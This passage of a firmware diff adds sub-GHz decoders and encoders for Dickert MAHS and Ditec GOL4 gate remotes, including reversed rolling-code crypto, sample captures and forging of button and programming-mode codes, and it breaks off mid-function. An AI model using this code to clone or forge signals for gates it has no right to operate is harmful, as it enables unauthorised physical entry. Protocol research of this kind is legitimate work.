+    DickertMAHSDecoderStepReset = 0,
+    DickertMAHSDecoderStepInitial,
+    DickertMAHSDecoderStepRecording,
+} DickertMAHSDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_dickert_mahs_decoder = {
+    .alloc = subghz_protocol_decoder_dickert_mahs_alloc,
+    .free = subghz_protocol_decoder_dickert_mahs_free,
+
+    .feed = subghz_protocol_decoder_dickert_mahs_feed,
+    .reset = subghz_protocol_decoder_dickert_mahs_reset,
+
+    .get_hash_data = subghz_protocol_decoder_dickert_mahs_get_hash_data,
+    .serialize = subghz_protocol_decoder_dickert_mahs_serialize,
+    .deserialize = subghz_protocol_decoder_dickert_mahs_deserialize,
+    .get_string = subghz_protocol_decoder_dickert_mahs_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_dickert_mahs_encoder = {
+    .alloc = subghz_protocol_encoder_dickert_mahs_alloc,
+    .free = subghz_protocol_encoder_dickert_mahs_free,
+
+    .deserialize = subghz_protocol_encoder_dickert_mahs_deserialize,
+    .stop = subghz_protocol_encoder_dickert_mahs_stop,
+    .yield = subghz_protocol_encoder_dickert_mahs_yield,
+};
+
+const SubGhzProtocol subghz_protocol_dickert_mahs = {
+    .name = SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_dickert_mahs_decoder,
+    .encoder = &subghz_protocol_dickert_mahs_encoder,
+};
+
+static void subghz_protocol_encoder_dickert_mahs_parse_buffer(
+    SubGhzProtocolDecoderDickertMAHS* instance,
+    FuriString* output) {
+    // We assume we have only decodes < 64 bit!
+    uint64_t data = instance->generic.data;
+    uint8_t bits[36] = {};
+
+    // Convert uint64_t into bit array
+    for(int i = 35; i >= 0; i--) {
+        if(data & 1) {
+            bits[i] = 1;
+        }
+        data >>= 1;
+    }
+
+    // Decode symbols
+    FuriString* code = furi_string_alloc();
+    for(size_t i = 0; i < 35; i += 2) {
+        uint8_t dip = (bits[i] << 1) + bits[i + 1];
+        //  PLUS  = 3, // 0b11
+        //  ZERO  = 1, // 0b01
+        //  MINUS = 0, // 0x00
+        if(dip == 0x01) {
+            furi_string_cat(code, "0");
+        } else if(dip == 0x00) {
+            furi_string_cat(code, "-");
+        } else if(dip == 0x03) {
+            furi_string_cat(code, "+");
+        } else {
+            furi_string_cat(code, "?");
+        }
+    }
+
+    FuriString* user_dips = furi_string_alloc();
+    FuriString* fact_dips = furi_string_alloc();
+    furi_string_set_n(user_dips, code, 0, 10);
+    furi_string_set_n(fact_dips, code, 10, 8);
+
+    furi_string_cat_printf(
+        output,
+        "%s\r\n"
+        "User-Dips:\t%s\r\n"
+        "Fac-Code:\t%s\r\n",
+        instance->generic.protocol_name,
+        furi_string_get_cstr(user_dips),
+        furi_string_get_cstr(fact_dips));
+    furi_string_free(user_dips);
+    furi_string_free(fact_dips);
+    furi_string_free(code);
+}
+
+void* subghz_protocol_encoder_dickert_mahs_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderDickertMAHS* instance = malloc(sizeof(SubGhzProtocolEncoderDickertMAHS));
+
+    instance->base.protocol = &subghz_protocol_dickert_mahs;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_dickert_mahs_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDickertMAHS* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_dickert_mahs_get_upload(SubGhzProtocolEncoderDickertMAHS* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_short * 112);
+    // Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_long);
+        }
+    }
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDickertMAHS* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+
+        // Allow for longer keys (<) instead of !=
+        if((instance->generic.data_count_bit <
+            subghz_protocol_dickert_mahs_const.min_count_bit_for_found)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_dickert_mahs_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_dickert_mahs_stop(void* context) {
+    SubGhzProtocolEncoderDickertMAHS* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_dickert_mahs_yield(void* context) {
+    SubGhzProtocolEncoderDickertMAHS* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_dickert_mahs_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderDickertMAHS* instance = malloc(sizeof(SubGhzProtocolDecoderDickertMAHS));
+    instance->base.protocol = &subghz_protocol_dickert_mahs;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->tmp_cnt = 0;
+
+    return instance;
+}
+
+void subghz_protocol_decoder_dickert_mahs_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_dickert_mahs_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    instance->decoder.parser_step = DickertMAHSDecoderStepReset;
+}
+
+void subghz_protocol_decoder_dickert_mahs_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case DickertMAHSDecoderStepReset:
+        // Check if done
+        if(instance->decoder.decode_count_bit >=
+           subghz_protocol_dickert_mahs_const.min_count_bit_for_found) {
+            instance->generic.serial = 0x0;
+            instance->generic.btn = 0x0;
+
+            instance->generic.data = instance->decoder.decode_data;
+            instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+            if(instance->base.callback)
+                instance->base.callback(&instance->base, instance->base.context);
+
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        }
+
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_dickert_mahs_const.te_long * 50) <
+                        subghz_protocol_dickert_mahs_const.te_delta * 70)) {
+            //Found header DICKERT_MAHS 44k us
+            instance->decoder.parser_step = DickertMAHSDecoderStepInitial;
+        }
+        break;
+    case DickertMAHSDecoderStepInitial:
+        if(!level) {
+            break;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_dickert_mahs_const.te_short) <
+            subghz_protocol_dickert_mahs_const.te_delta) {
+            //Found start bit DICKERT_MAHS
+            instance->decoder.parser_step = DickertMAHSDecoderStepRecording;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = DickertMAHSDecoderStepReset;
+        }
+        break;
+    case DickertMAHSDecoderStepRecording:
+        if((!level && instance->tmp_cnt == 0) || (level && instance->tmp_cnt == 1)) {
+            instance->tmp[instance->tmp_cnt] = duration;
+
+            instance->tmp_cnt++;
+
+            if(instance->tmp_cnt == 2) {
+                if(DURATION_DIFF(instance->tmp[0] + instance->tmp[1], 1200) <
+                   subghz_protocol_dickert_mahs_const.te_delta) {
+                    if(DURATION_DIFF(instance->tmp[0], subghz_protocol_dickert_mahs_const.te_long) <
+                       subghz_protocol_dickert_mahs_const.te_delta) {
+                        subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                    } else if(
+                        DURATION_DIFF(
+                            instance->tmp[0], subghz_protocol_dickert_mahs_const.te_short) <
+                        subghz_protocol_dickert_mahs_const.te_delta) {
+                        subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                    }
+
+                    instance->tmp_cnt = 0;
+                } else {
+                    instance->tmp_cnt = 0;
+                    instance->decoder.parser_step = DickertMAHSDecoderStepReset;
+                }
+            }
+        } else {
+            instance->tmp_cnt = 0;
+            instance->decoder.parser_step = DickertMAHSDecoderStepReset;
+        }
+
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_dickert_mahs_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_dickert_mahs_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+
+        // Allow for longer keys (<) instead of !=
+        if((instance->generic.data_count_bit <
+            subghz_protocol_dickert_mahs_const.min_count_bit_for_found)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_dickert_mahs_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    subghz_protocol_encoder_dickert_mahs_parse_buffer(context, output);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/dickert_mahs.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/dickert_mahs.h
new file mode 100644
index 000000000..3f682cee0
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/dickert_mahs.h
@@ -0,0 +1,120 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME "Dickert_MAHS"
+
+typedef struct SubGhzProtocolDecoderDickertMAHS SubGhzProtocolDecoderDickertMAHS;
+typedef struct SubGhzProtocolEncoderDickertMAHS SubGhzProtocolEncoderDickertMAHS;
+
+extern const SubGhzProtocolDecoder subghz_protocol_dickert_mahs_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_dickert_mahs_encoder;
+extern const SubGhzProtocol subghz_protocol_dickert_mahs;
+
+/** Allocate SubGhzProtocolEncoderDickertMAHS.
+ *
+ * @param      environment  Pointer to a SubGhzEnvironment instance
+ *
+ * @return     pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ */
+void* subghz_protocol_encoder_dickert_mahs_alloc(SubGhzEnvironment* environment);
+
+/** Free SubGhzProtocolEncoderDickertMAHS.
+ *
+ * @param      context  Pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ */
+void subghz_protocol_encoder_dickert_mahs_free(void* context);
+
+/** Deserialize and generating an upload to send.
+ *
+ * @param      context         Pointer to a SubGhzProtocolEncoderDickertMAHS
+ *                             instance
+ * @param      flipper_format  Pointer to a FlipperFormat instance
+ *
+ * @return     status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format);
+
+/** Forced transmission stop.
+ *
+ * @param      context  Pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ */
+void subghz_protocol_encoder_dickert_mahs_stop(void* context);
+
+/** Getting the level and duration of the upload to be loaded into DMA.
+ *
+ * @param      context  Pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ *
+ * @return     LevelDuration
+ */
+LevelDuration subghz_protocol_encoder_dickert_mahs_yield(void* context);
+
+/** Allocate SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      environment  Pointer to a SubGhzEnvironment instance
+ *
+ * @return     pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ */
+void* subghz_protocol_decoder_dickert_mahs_alloc(SubGhzEnvironment* environment);
+
+/** Free SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      context  Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ */
+void subghz_protocol_decoder_dickert_mahs_free(void* context);
+
+/** Reset decoder SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      context  Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ */
+void subghz_protocol_decoder_dickert_mahs_reset(void* context);
+
+/** Parse a raw sequence of levels and durations received from the air.
+ *
+ * @param      context   Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ * @param      level     Signal level true-high false-low
+ * @param      duration  Duration of this level in, us
+ */
+void subghz_protocol_decoder_dickert_mahs_feed(void* context, bool level, uint32_t duration);
+
+/** Getting the hash sum of the last randomly received parcel.
+ *
+ * @param      context  Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ *
+ * @return     hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_dickert_mahs_get_hash_data(void* context);
+
+/** Serialize data SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      context         Pointer to a SubGhzProtocolDecoderDickertMAHS
+ *                             instance
+ * @param      flipper_format  Pointer to a FlipperFormat instance
+ * @param      preset          The modulation on which the signal was received,
+ *                             SubGhzRadioPreset
+ *
+ * @return     status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_dickert_mahs_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/** Deserialize data SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      context         Pointer to a SubGhzProtocolDecoderDickertMAHS
+ *                             instance
+ * @param      flipper_format  Pointer to a FlipperFormat instance
+ *
+ * @return     status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format);
+
+/** Getting a textual representation of the received data.
+ *
+ * @param      context  Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ * @param      output   Resulting text
+ */
+void subghz_protocol_decoder_dickert_mahs_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/ditec_gol4.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/ditec_gol4.c
new file mode 100644
index 000000000..c046ae770
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/ditec_gol4.c
@@ -0,0 +1,742 @@
+#include "ditec_gol4.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolDitecGOL4"
+
+#define GOL4_RAW_BYTES 7
+
+static const SubGhzBlockConst subghz_protocol_ditec_gol4_const = {
+    .te_short = 400,
+    .te_long = 1100,
+    .te_delta = 200,
+    .min_count_bit_for_found = 54,
+};
+
+struct SubGhzProtocolDecoderDitecGOL4 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderDitecGOL4 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    DitecGOL4DecoderStepReset = 0,
+    DitecGOL4DecoderStepStartBit,
+    DitecGOL4DecoderStepSaveDuration,
+    DitecGOL4DecoderStepCheckDuration,
+} DitecGOL4DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_ditec_gol4_decoder = {
+    .alloc = subghz_protocol_decoder_ditec_gol4_alloc,
+    .free = subghz_protocol_decoder_ditec_gol4_free,
+
+    .feed = subghz_protocol_decoder_ditec_gol4_feed,
+    .reset = subghz_protocol_decoder_ditec_gol4_reset,
+
+    .get_hash_data = subghz_protocol_decoder_ditec_gol4_get_hash_data,
+    .serialize = subghz_protocol_decoder_ditec_gol4_serialize,
+    .deserialize = subghz_protocol_decoder_ditec_gol4_deserialize,
+    .get_string = subghz_protocol_decoder_ditec_gol4_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_ditec_gol4_encoder = {
+    .alloc = subghz_protocol_encoder_ditec_gol4_alloc,
+    .free = subghz_protocol_encoder_ditec_gol4_free,
+
+    .deserialize = subghz_protocol_encoder_ditec_gol4_deserialize,
+    .stop = subghz_protocol_encoder_ditec_gol4_stop,
+    .yield = subghz_protocol_encoder_ditec_gol4_yield,
+};
+
+const SubGhzProtocol subghz_protocol_ditec_gol4 = {
+    .name = SUBGHZ_PROTOCOL_DITEC_GOL4_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_ditec_gol4_decoder,
+    .encoder = &subghz_protocol_ditec_gol4_encoder,
+};
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x1 | 0x2 | 0x4 | 0x8 | 0x0 PROG
+ * @return Button code
+ */
+static uint8_t subghz_protocol_ditec_gol4_get_btn_code(void);
+
+static uint8_t gol4_bit_reverse(uint8_t b) {
+    b &= 0xFF;
+    uint8_t result = 0;
+    for(uint8_t i = 0; i < 8; i++) {
+        result = (uint8_t)((result << 1) | (b & 1));
+        b >>= 1;
+    }
+    return result;
+}
+
+static uint8_t gol4_bit_parity(uint8_t b) {
+    uint8_t p = 0;
+    for(uint8_t i = 0; i < 8; i++) {
+        if((b >> i) & 1u) p ^= 1u;
+    }
+    return p;
+}
+
+static uint8_t gol4_lcg_step(uint8_t seed, uint8_t steps) {
+    uint8_t x = seed & 0xFF;
+    steps &= 0xFF;
+    for(uint8_t i = 0; i < steps; i++) {
+        x = (uint8_t)((21 * x + 1) & 0xFF);
+    }
+    return x;
+}
+
+static uint8_t gol4_lcg_inverse(uint8_t target, uint8_t steps) {
+    steps &= 0xFF;
+    if(steps == 0) return target & 0xFF;
+    return gol4_lcg_step(target, (uint8_t)(256 - steps));
+}
+
+static void gol4_decode_rotate_and_bitrev(uint8_t* raw) {
+    uint8_t carry = 0;
+    for(uint8_t r = 0; r < 3; r++) {
+        for(uint8_t i = 2; i < 7; i++) {
+            uint8_t new_carry = raw[i] & 1;
+            raw[i] = (uint8_t)(((raw[i] >> 1) | (carry << 7)) & 0xFF);
+            carry = new_carry;
+        }
+    }
+
+    raw[0] = gol4_bit_reverse(raw[0]);
+    raw[1] = gol4_bit_reverse(raw[1]);
+    raw[3] = gol4_bit_reverse(raw[3]);
+    raw[4] = gol4_bit_reverse(raw[4]);
+
+    uint8_t b2 = raw[2] & 0xDF;
+    b2 = (uint8_t)(((b2 << 4) | (b2 >> 4)) & 0xFF);
+    b2 = (uint8_t)((~b2) & 0xFF);
+    raw[2] = gol4_bit_reverse(b2);
+
+    raw[5] = gol4_bit_reverse(raw[5]);
+    raw[6] = gol4_bit_reverse(raw[6]);
+}
+
+static bool gol4_decode_lcg_xor(uint8_t* raw) {
+    if(raw[6] & 0x80) raw[5] ^= 1;
+
+    uint8_t out5 = gol4_lcg_inverse(raw[5], 0xFE);
+    raw[5] = out5;
+
+    uint8_t out6 = gol4_lcg_inverse(raw[6], raw[5]);
+    raw[6] = out6;
+
+    raw[5] ^= 0xA7;
+    raw[6] ^= 0x69;
+    return true;
+}
+
+static bool gol4_rolling_decode(uint8_t* raw) {
+    gol4_decode_rotate_and_bitrev(raw);
+    return gol4_decode_lcg_xor(raw);
+}
+
+static bool gol4_encode_lcg_xor(uint8_t* raw) {
+    uint8_t dec5 = (uint8_t)(raw[5] ^ 0xA7);
+    uint8_t dec6 = (uint8_t)(raw[6] ^ 0x69);
+
+    uint8_t enc6 = gol4_lcg_step(dec6, dec5);
+    uint8_t enc5 = gol4_lcg_step(dec5, 0xFE);
+
+    if(enc6 & 0x80) enc5 ^= 1;
+
+    raw[5] = enc5;
+    raw[6] = enc6;
+    return true;
+}
+
+static void gol4_encode_bitrev_and_rotate(uint8_t* raw) {
+    raw[0] = gol4_bit_reverse(raw[0]);
+    raw[1] = gol4_bit_reverse(raw[1]);
+    raw[3] = gol4_bit_reverse(raw[3]);
+    raw[4] = gol4_bit_reverse(raw[4]);
+
+    if(raw[2] == 0x0) {
+        raw[2] = 0xF0;
+    }
+    uint8_t b2 = gol4_bit_reverse(raw[2]);
+    b2 = (uint8_t)(~b2);
+    b2 = (uint8_t)(((b2 << 4) | (b2 >> 4)) & 0xFF);
+    b2 &= 0xDF;
+    raw[2] = b2;
+
+    raw[5] = gol4_bit_reverse(raw[5]);
+    raw[6] = gol4_bit_reverse(raw[6]);
+
+    uint8_t p5 = gol4_bit_parity(raw[5]);
+    uint8_t p6 = gol4_bit_parity(raw[6]);
+
+    uint8_t carry = 0;
+    for(uint8_t r = 0; r < 3; r++) {
+        for(int8_t i = 6; i >= 2; i--) {
+            uint8_t new_carry = (uint8_t)((raw[i] >> 7) & 1);
+            raw[i] = (uint8_t)(((raw[i] << 1) | carry) & 0xFF);
+            carry = new_carry;
+        }
+    }
+
+    raw[6] = (p5 == p6) ? (uint8_t)(raw[6] & 0xFBu) : (uint8_t)(raw[6] | 0x04u);
+}
+
+static bool gol4_rolling_encode(uint8_t* raw) {
+    if(!raw) return false;
+    if(!gol4_encode_lcg_xor(raw)) return false;
+    gol4_encode_bitrev_and_rotate(raw);
+    return true;
+}
+
+static void bits_to_raw(const uint8_t* bits, uint8_t* raw) {
+    memset(raw, 0, GOL4_RAW_BYTES);
+    for(uint8_t i = 0; i < subghz_protocol_ditec_gol4_const.min_count_bit_for_found; i++) {
+        uint8_t byte_idx = i / 8;
+        uint8_t bit_idx = 7 - (i % 8);
+        if(bits[i]) raw[byte_idx] |= (1 << bit_idx);
+    }
+}
+
+static void raw_to_bits(const uint8_t* raw, uint8_t* bits) {
+    for(uint8_t i = 0; i < subghz_protocol_ditec_gol4_const.min_count_bit_for_found; i++) {
+        uint8_t byte_idx = i / 8;
+        uint8_t bit_idx = 7 - (i % 8);
+        bits[i] = (uint8_t)((raw[byte_idx] >> bit_idx) & 1);
+    }
+}
+
+static uint64_t bits_to_data(const uint8_t* bits) {
+    uint64_t data = 0;
+    for(uint8_t i = 0; i < subghz_protocol_ditec_gol4_const.min_count_bit_for_found; i++) {
+        data = (data << 1) | (uint64_t)(bits[i] & 1);
+    }
+    return data;
+}
+
+static uint32_t serial_to_display(const uint8_t* s) {
+    if(!s) return 0;
+    return (uint32_t)((s[0] << 24) | (s[4] << 16) | (s[1] << 8) | s[3]);
+}
+
+void* subghz_protocol_encoder_ditec_gol4_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderDitecGOL4* instance = malloc(sizeof(SubGhzProtocolEncoderDitecGOL4));
+
+    instance->base.protocol = &subghz_protocol_ditec_gol4;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 4;
+    instance->encoder.size_upload = 128; // 110 actual
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_ditec_gol4_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDitecGOL4* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderDitecGOL4 instance
+ */
+static void
+    subghz_protocol_encoder_ditec_gol4_get_upload(SubGhzProtocolEncoderDitecGOL4* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP between repeats
+    //Send gap before data
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_ditec_gol4_const.te_long * 22);
+    // Start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_ditec_gol4_const.te_short * 2);
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_ditec_gol4_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_ditec_gol4_const.te_long);
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_ditec_gol4_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_ditec_gol4_const.te_short);
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_ditec_gol4_decode_key(SubGhzBlockGeneric* instance) {
+    // Ditec GOL4 Decoder
+    // 2025 - 2026.02 - @xMasterX (MMX) & @zero-mega
+    //
+    // RAW Samples
+    // 0xCCB2F83208122 - btn 1 = 0011001100101100 101111 100000110010000 01000000100100010
+    //
+    // Programming mode:
+    // 0xCCB1F832103B9 - btn 0 = 0011001100101100 011111 100000110010000 10000001110111001
+    // Regular buttons:
+    // 0xCCB2F8320ED66 - btn 1 = 0011001100101100 101111 100000110010000 01110110101100110
+    // 0xCCB37832104A6 - btn 2 = 0011001100101100 110111 100000110010000 10000010010100110
+    // 0xCCB3B8320DB4E - btn 4 = 0011001100101100 111011 100000110010000 01101101101001110
+    // 0xCCB3D8320E855 - btn 8 = 0011001100101100 111101 100000110010000 01110100001010101
+    //
+    // Regular buttons:
+    // Decoded array: CC 34 71 83 09 F8 C1
+    // Decoded array: CC 34 71 83 09 F9 C1
+    // Decoded array: CC 34 72 83 09 FA C1
+    // Decoded array: CC 34 74 83 09 FB C1
+    // Decoded array: CC 34 78 83 09 FC C1
+    // Programming mode
+    // Decoded array: CC 34 F0 83 09 FD C1
+    // Decoded array: CC 34 F0 83 09 FE C1
+    //
+    uint8_t bits[subghz_protocol_ditec_gol4_const.min_count_bit_for_found];
+    uint64_t data = instance->data;
+    for(int i = subghz_protocol_ditec_gol4_const.min_count_bit_for_found - 1; i >= 0; i--) {
+        bits[i] = (uint8_t)(data & 1);
+        data >>= 1;
+    }
+    uint8_t decrypted[GOL4_RAW_BYTES];
+    bits_to_raw(bits, decrypted);
+
+    if(gol4_rolling_decode(decrypted)) {
+        uint8_t temp_serial[5];
+        memcpy(temp_serial, decrypted, 5);
+        instance->serial = serial_to_display(temp_serial);
+        instance->btn = decrypted[2] & 0x0F;
+        instance->cnt = (uint16_t)((decrypted[5] | (decrypted[6] << 8)) & 0xFFFF);
+        // Save original button for later use
+        if(subghz_custom_btn_get_original() == 0) {
+            subghz_custom_btn_set_original(instance->btn);
+        }
+        subghz_custom_btn_set_max(4);
+    }
+}
+
+static void subghz_protocol_ditec_gol4_encode_key(SubGhzBlockGeneric* instance) {
+    // Encoder crypto part:
+    //
+    // TODO: Current issue - last bit at original remote sometimes 0 but we encode as 1, or vice versa.
+    // This does not affect decoding but may have issue on real receiver
+    //
+    uint8_t decrypted[GOL4_RAW_BYTES];
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+
